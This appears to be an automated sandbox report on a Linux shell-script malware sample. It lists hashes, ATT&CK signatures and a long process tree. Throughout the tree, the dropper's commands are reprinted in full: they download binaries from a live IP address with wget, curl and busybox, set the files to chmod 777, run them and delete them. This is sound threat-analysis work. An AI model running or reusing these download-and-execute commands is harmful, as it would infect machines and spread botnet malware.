db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2

Analysis

max time kernel
53s
max time network
54s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01/11/2024, 05:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
Size 10KB
Sample241101-gm83psxflc
SHA256 db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2
MD5 d52cbbae2b3097c9053e0e8f13487af7
SHA1 93cb981635b3cdef2a8f4cae09658028f838e490
SHA512 4e07d644a9ccf7ec10bc7455abbc83a0883856af07e257963aaa368e234d3d7bbf7d528a365ccb5beac1d19d9504d59174e464eb2a6b7ddc0331a46fb65ba779
SSDEEP 192:YBfdFk2WdKWI4g8VwYjtGehkwk7pGehkw0fa2WdKWKsg8VwYU:YBfdFk2WdKWttGehkwk7pGehkw0fa2W8
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
873	chmod
906	chmod
813	chmod
978	chmod
894	chmod
918	chmod
936	chmod
738	chmod
744	chmod
839	chmod
942	chmod
888	chmod
855	chmod
807	chmod
861	chmod
867	chmod
900	chmod
972	chmod
754	chmod
783	chmod
930	chmod
960	chmod
912	chmod
924	chmod
954	chmod
966	chmod
882	chmod
948	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA	curl
File opened for modification	/tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp	curl
File opened for modification	/tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp	curl
File opened for modification	/tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc	curl
File opened for modification	/tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i	curl
File opened for modification	/tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X	curl
File opened for modification	/tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz	curl
File opened for modification	/tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX	curl
File opened for modification	/tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i	curl
File opened for modification	/tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb	curl
File opened for modification	/tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX	curl
File opened for modification	/tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc	curl
File opened for modification	/tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X	curl
File opened for modification	/tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz	curl
File opened for modification	/tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd	curl
File opened for modification	/tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd	curl
File opened for modification	/tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2	curl
File opened for modification	/tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA	curl
File opened for modification	/tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz	curl
File opened for modification	/tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK	curl
File opened for modification	/tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz	curl
File opened for modification	/tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK	curl
File opened for modification	/tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb	curl
File opened for modification	/tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1	curl
File opened for modification	/tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m	curl
File opened for modification	/tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m	curl
File opened for modification	/tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2	curl
File opened for modification	/tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1	curl

/tmp/db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
/tmp/db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:736
- /bin/chmod
  chmod 777 xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  ./xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:740
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:743
- /bin/chmod
  chmod 777 ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  ./ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:749
- /bin/chmod
  chmod 777 YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  ./YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:758
- /usr/bin/wget
  wget http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:777
- /bin/chmod
  chmod 777 x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  ./x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:789
- /usr/bin/wget
  wget http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:806
- /bin/chmod
  chmod 777 qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  ./qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:809
- /usr/bin/wget
  wget http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:812
- /bin/chmod
  chmod 777 200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  ./200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm 200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:833
- /bin/chmod
  chmod 777 Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  ./Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:843
- /usr/bin/wget
  wget http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:854
- /bin/chmod
  chmod 777 8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  ./8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm 8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:857
- /usr/bin/wget
  wget http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:860
- /bin/chmod
  chmod 777 alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  ./alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:863
- /usr/bin/wget
  wget http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:866
- /bin/chmod
  chmod 777 iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  ./iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:869
- /usr/bin/wget
  wget http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:872
- /bin/chmod
  chmod 777 O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  ./O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:875
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:881
- /bin/chmod
  chmod 777 Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  ./Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:884
- /usr/bin/wget
  wget http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:887
- /bin/chmod
  chmod 777 hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  ./hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:893
- /bin/chmod
  chmod 777 3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  ./3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm 3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:896
- /usr/bin/wget
  wget http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:899
- /bin/chmod
  chmod 777 O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  ./O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:905
- /bin/chmod
  chmod 777 Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  ./Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:908
- /usr/bin/wget
  wget http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:911
- /bin/chmod
  chmod 777 hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  ./hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:914
- /usr/bin/wget
  wget http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:917
- /bin/chmod
  chmod 777 3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  ./3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm 3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:920
- /usr/bin/wget
  wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:923
- /bin/chmod
  chmod 777 xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  ./xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:926
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:929
- /bin/chmod
  chmod 777 ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  ./ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:935
- /bin/chmod
  chmod 777 YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  ./YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:938
- /usr/bin/wget
  wget http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:941
- /bin/chmod
  chmod 777 x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  ./x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:944
- /usr/bin/wget
  wget http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:947
- /bin/chmod
  chmod 777 qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  ./qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:950
- /usr/bin/wget
  wget http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:953
- /bin/chmod
  chmod 777 200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  ./200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm 200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:956
- /usr/bin/wget
  wget http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:959
- /bin/chmod
  chmod 777 Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
